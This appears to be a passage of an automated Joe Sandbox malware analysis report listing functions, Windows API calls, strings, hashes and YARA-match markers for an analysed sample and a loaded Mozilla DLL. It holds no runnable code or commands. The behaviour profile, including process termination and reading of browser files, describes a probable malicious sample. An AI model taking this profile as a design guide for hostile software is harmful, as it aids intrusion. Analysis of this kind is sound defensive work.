APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C824843,?), ref: 6C7E45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C824843,?), ref: 6C7E468A
free.MOZGLUE(?,?,?,?,?,?,6C824843,?), ref: 6C7E46C9
free.MOZGLUE(?), ref: 6C7E46EF
free.MOZGLUE(?), ref: 6C7E4712
free.MOZGLUE(?), ref: 6C7E4735
free.MOZGLUE(?), ref: 6C7E4758
free.MOZGLUE(?), ref: 6C7E477B
free.MOZGLUE(?), ref: 6C7E479E

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 259c65e4e65fa52a1fe64232520b4b34a63f458246607dd639328379bae510ac
Instruction ID: 7af633e3c7bdddd7ea205f267bc8556f68f1e9ee70077e20941c1a1a0e33c5a1
Opcode Fuzzy Hash: 259c65e4e65fa52a1fe64232520b4b34a63f458246607dd639328379bae510ac
Instruction Fuzzy Hash: 83B1F373A001108FDB189EBDCE9476D77A6AF4A328F184679E416DFB92D7309840EB91

Function 00419D90 Relevance: 16.7, APIs: 11, Instructions: 184fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(?,?,?), ref: 00419D9F
GetFileSize.KERNEL32(?,00000000,?,?), ref: 00419E15
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 00419E34
ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 00419E49
SetFilePointer.KERNEL32(?,00000024,00000000,00000000), ref: 00419E52
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 00419E61
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 00419E7F
ReadFile.KERNEL32(?,0041A367,00000004,?,00000000), ref: 00419E8E

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$PointerRead$HandleInformationSize
String ID:
API String ID: 2979504256-0
Opcode ID: 01057a1631386075edc38eb2330110f598ad1ff3e09381a7c27bf2a3cfa4d2a3
Instruction ID: 0a8afa0679859a200d13ea70119807a7819772ec33cd769230191416a2ec4fa9
Opcode Fuzzy Hash: 01057a1631386075edc38eb2330110f598ad1ff3e09381a7c27bf2a3cfa4d2a3
Instruction Fuzzy Hash: 61519371E00208ABEB24DF65DC91FEFB7B9EF84704F15451AE505A7280D778AE818B98

Function 6C84AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C84AC52
CreateFileMappingW.KERNEL32 ref: 6C84AC7D
GetSystemInfo.KERNEL32 ref: 6C84AC98
MapViewOfFile.KERNEL32 ref: 6C84ACB0
GetSystemInfo.KERNEL32 ref: 6C84ACCD
MapViewOfFile.KERNEL32 ref: 6C84AD05
UnmapViewOfFile.KERNEL32 ref: 6C84AD1C
CloseHandle.KERNEL32 ref: 6C84AD28
UnmapViewOfFile.KERNEL32 ref: 6C84AD37
CloseHandle.KERNEL32 ref: 6C84AD43
CloseHandle.KERNEL32 ref: 6C84AD67

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 71e831c1bdfd8a55f8d0facd5f83d50fbbf90acf3654bdd9dc78c318005144b4
Instruction ID: 49a84250dfcafaf5d8f1f1d719507770081e89a42b3168f1dcaae467765a1bf3
Opcode Fuzzy Hash: 71e831c1bdfd8a55f8d0facd5f83d50fbbf90acf3654bdd9dc78c318005144b4
Instruction Fuzzy Hash: F23151B1A047048FDB10AF79D6486BEBBF0BF85309F01993DE98587211EB749458CB82

Function 0040DC70 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(75B65460,75B4EC10,75B65460,00000000), ref: 0040DCB0
strchr.MSVCRT ref: 0040DCC2
strchr.MSVCRT ref: 0040DCE9
lstrlenA.KERNEL32(75B65460), ref: 0040DD08
GetProcessHeap.KERNEL32(00000008,-00000001), ref: 0040DD15
HeapAlloc.KERNEL32(00000000), ref: 0040DD1C
strcpy_s.MSVCRT ref: 0040DD67

Strings

0123456789ABCDEF, xrefs: 0040DC76

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocProcessstrcpy_s
String ID: 0123456789ABCDEF
API String ID: 453150750-2554083253
Opcode ID: 31abb08cbefb3f17934d28928f84c52286b9e4f46181f9938e68ddadc8529124
Instruction ID: 411896de3bfafff28a2257f0c61450ab40e74556c7f4f4417219d2c6b3fb8cf1
Opcode Fuzzy Hash: 31abb08cbefb3f17934d28928f84c52286b9e4f46181f9938e68ddadc8529124
Instruction Fuzzy Hash: AA31A771D00219ABDB10DFA9DC85AAEB7B8FF55300F10427AF804E7381D7799A05CBA4

Function 004110F0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041110A
GetProcessHeap.KERNEL32(00000000,000000FA,00000000,00000000,?,00409753,00409C77), ref: 0041113D
HeapAlloc.KERNEL32(00000000,?,00409753,00409C77), ref: 00411144
wsprintfW.USER32 ref: 00411153
OpenProcess.KERNEL32(00001001,00000000,?,?), ref: 004111BB
TerminateProcess.KERNEL32(00000000,00000000,?,?), ref: 004111CA
CloseHandle.KERNEL32(00000000,?,?), ref: 004111D1

Strings

%hs, xrefs: 0041114D

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID: %hs
API String ID: 396451647-2783943728
Opcode ID: 48836ed1ced25e8df9a6f3dae37ad9965bef92d267f9f1ae449576f85ac79b49
Instruction ID: 03718efb4bf8b3965a0b9fc07ce4edb6ffe15226b3a6d867735824a8c5fef86b
Opcode Fuzzy Hash: 48836ed1ced25e8df9a6f3dae37ad9965bef92d267f9f1ae449576f85ac79b49
Instruction Fuzzy Hash: A131B371A40204BBDB10DBE4DC85FDEB778EF49700F10512AFB05E6190DB74AA45CBA9

Function 6C839D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C838273), ref: 6C839D65
free.MOZGLUE(6C838273,?), ref: 6C839D7C
free.MOZGLUE(?,?), ref: 6C839D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C839E0F
free.MOZGLUE(6C83946B,?,?), ref: 6C839E24
free.MOZGLUE(?,?,?), ref: 6C839E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C839EC8
free.MOZGLUE(6C83946B,?,?,?), ref: 6C839EDF
free.MOZGLUE(?,?,?,?), ref: 6C839EF5

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 558c0884d2f85141516f016b48268a542de04bd5922d357020006b5cb771e874
Instruction ID: 4e4d51f5ec464b149a0b058b31ee2f4cc525553e0dd918c4549fe4dfc3734195
Opcode Fuzzy Hash: 558c0884d2f85141516f016b48268a542de04bd5922d357020006b5cb771e874
Instruction Fuzzy Hash: 3A71B170909B518BD722CF58CA4155BF3F4FF99315B44AA19E88E5B701EB30E885CBD1

Function 6C83DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C83DDCF

Part of subcall function 6C81FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C81FA4B

Part of subcall function 6C8390E0: free.MOZGLUE(?,00000000,?,?,6C83DEDB), ref: 6C8390FF
Part of subcall function 6C8390E0: free.MOZGLUE(?,00000000,?,?,6C83DEDB), ref: 6C839108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C83DE0D
free.MOZGLUE(00000000), ref: 6C83DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C83DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C83DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C83DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C82DEFD,?,6C7F4A68), ref: 6C83DF32

Part of subcall function 6C83DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C83DB86
Part of subcall function 6C83DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C83DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C82DEFD,?,6C7F4A68), ref: 6C83DF65
free.MOZGLUE(?), ref: 6C83DF80

Part of subcall function 6C805E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C805EDB
Part of subcall function 6C805E90: memset.VCRUNTIME140(6C847765,000000E5,55CCCCCC), ref: 6C805F27
Part of subcall function 6C805E90: LeaveCriticalSection.KERNEL32(?), ref: 6C805FB2

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: c1a9cbbcc02593ab943f41513b203249dc01b942a95acca733dcee61b7826221
Instruction ID: 2f6ef5fe63794daed2c3ca7f919767e57a0964f820c6f3cd5495d09308616b20
Opcode Fuzzy Hash: c1a9cbbcc02593ab943f41513b203249dc01b942a95acca733dcee61b7826221
Instruction Fuzzy Hash: AA51D6726117209BD7319B98CA802AE7772AF91308F953D2AD85E53B41D731F819CBD2

Function 6C845D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C845C8C,?,6C81E829), ref: 6C845D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C845C8C,?,6C81E829), ref: 6C845D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C845C8C,?,6C81E829), ref: 6C845D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C845C8C,?,6C81E829), ref: 6C845D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C845C8C,?,6C81E829), ref: 6C845DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C845C8C,?,6C81E829), ref: 6C845DC9
std::_Facet_Register.LIBCPMT ref: 6C845DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C845C8C,?,6C81E829), ref: 6C845E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C845C8C,?,6C81E829), ref: 6C845E45

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: bc93d48789fb1f7e6ceccc06b60301936453f277bdee2204733ae50b261526a3
Instruction ID: 11ece9536501c680445d88d94405c0be51fbe50d03066fc61e0f55b7aeb94290
Opcode Fuzzy Hash: bc93d48789fb1f7e6ceccc06b60301936453f277bdee2204733ae50b261526a3
Instruction Fuzzy Hash: 3C419F707003098FCB20DFA9C998AAE77B5FF49319F144479E50A9B791EB30D805CBA1

Function 6C81CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C7E31A7), ref: 6C81CDDD

Strings

<jemalloc>, xrefs: 6C81CF9F, 6C81CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C81CFA4, 6C81CFB8

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: a1dee7bcd58a3fea94f3f049a539bd5601cfc14f2cd690bce08ce5b62ed38df9
Instruction ID: d290ba8dd0e7c112b2689c368e03a9e285368cbe85568b8a6438a54214537df7
Opcode Fuzzy Hash: a1dee7bcd58a3fea94f3f049a539bd5601cfc14f2cd690bce08ce5b62ed38df9
Instruction Fuzzy Hash: 1C3192307482165BEB34AEAACE45B7E7BB5AB41718F204834F615ABE81DBB0D400C791

Function 6C7EECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7EF100: LoadLibraryW.KERNEL32(shell32,?,6C85D020), ref: 6C7EF122
Part of subcall function 6C7EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C7EF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C7EED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7EEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C7EEDCC
CreateFileW.KERNEL32 ref: 6C7EEE08
free.MOZGLUE(00000000), ref: 6C7EEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C7EEE32

Part of subcall function 6C7EEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C7EEBB5
Part of subcall function 6C7EEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C81D7F3), ref: 6C7EEBC3
Part of subcall function 6C7EEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C81D7F3), ref: 6C7EEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C7EEDC1

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: eb7129002c7aae6157a1fba0c19b2256832d4d7248726692577945ea867a0f4f
Instruction ID: e9b189df5924d9050673f7be1621327ebe71882ee7dadffb4f65ca22fb130ce8
Opcode Fuzzy Hash: eb7129002c7aae6157a1fba0c19b2256832d4d7248726692577945ea867a0f4f
Instruction Fuzzy Hash: 3A51C072D053088BEB10DF68CA457EEB7B5AF5D318F44882DE8556B740E7306988CBE2

Function 6C85A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C85A565

Part of subcall function 6C85A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C85A4BE
Part of subcall function 6C85A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C85A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C85A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C85A6B6

Strings

z, xrefs: 6C85A6AE
0, xrefs: 6C85A5FB

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 7e2d2d47bc36774cafcbe7236d4ec37c995b228f110bcaa2277a03eb804e90cc
Instruction ID: df591f8c83d6c88b6da3daa65d03307f5c3f4eb35de0aca4dd3dded7d04af772
Opcode Fuzzy Hash: 7e2d2d47bc36774cafcbe7236d4ec37c995b228f110bcaa2277a03eb804e90cc
Instruction Fuzzy Hash: 3C415A719087459FC391CF28C4C0A9BBBE5BF89344F808A2EF49987690E770D959CB92

Function 00411C00 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 106stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411C24
StrCmpCA.SHLWAPI(00000000,00423B6C,?,?,?,00000030,?,00416C28), ref: 00411C6C
StrCmpCA.SHLWAPI(00000000,00423B6C,00000000,?,?,?,00000030,?,00416C28), ref: 00411CB2
StrCmpCA.SHLWAPI(00000000,00423B6C,?,?,?,00000030,?,00416C28), ref: 00411CDE
StrCmpCA.SHLWAPI(00000000,00423B6C,?,?,?,00000030,?,00416C28), ref: 00411D0A
strtok_s.MSVCRT ref: 00411D3C

Strings

(lA, xrefs: 00411C10, 00411D36, 00411C13, 00411D39

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: (lA
API String ID: 3330995566-25992167
Opcode ID: 50071ccdbaa2748321b341bec2e19a0bdaf0f9eae6cd860e97d5690e2d4f925c
Instruction ID: 1139fc1633d47d3a641dcceb53ca96597953d96dc61aef95a34c63e0aedbcba7
Opcode Fuzzy Hash: 50071ccdbaa2748321b341bec2e19a0bdaf0f9eae6cd860e97d5690e2d4f925c
Instruction Fuzzy Hash: B4419F70940205EFCB10EF58E844FE6B7B8FF14305F50456EE60293161E778B6A8CB89

Function 6C829420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C81AB89: EnterCriticalSection.KERNEL32(6C86E370,?,?,?,6C7E34DE,6C86F6CC,?,?,?,?,?,?,?,6C7E3284), ref: 6C81AB94
Part of subcall function 6C81AB89: LeaveCriticalSection.KERNEL32(6C86E370,?,6C7E34DE,6C86F6CC,?,?,?,?,?,?,?,6C7E3284,?,?,6C8056F6), ref: 6C81ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7F4A68), ref: 6C82945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C829470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C829482
__Init_thread_footer.LIBCMT ref: 6C82949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C82946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C82947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C829459

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

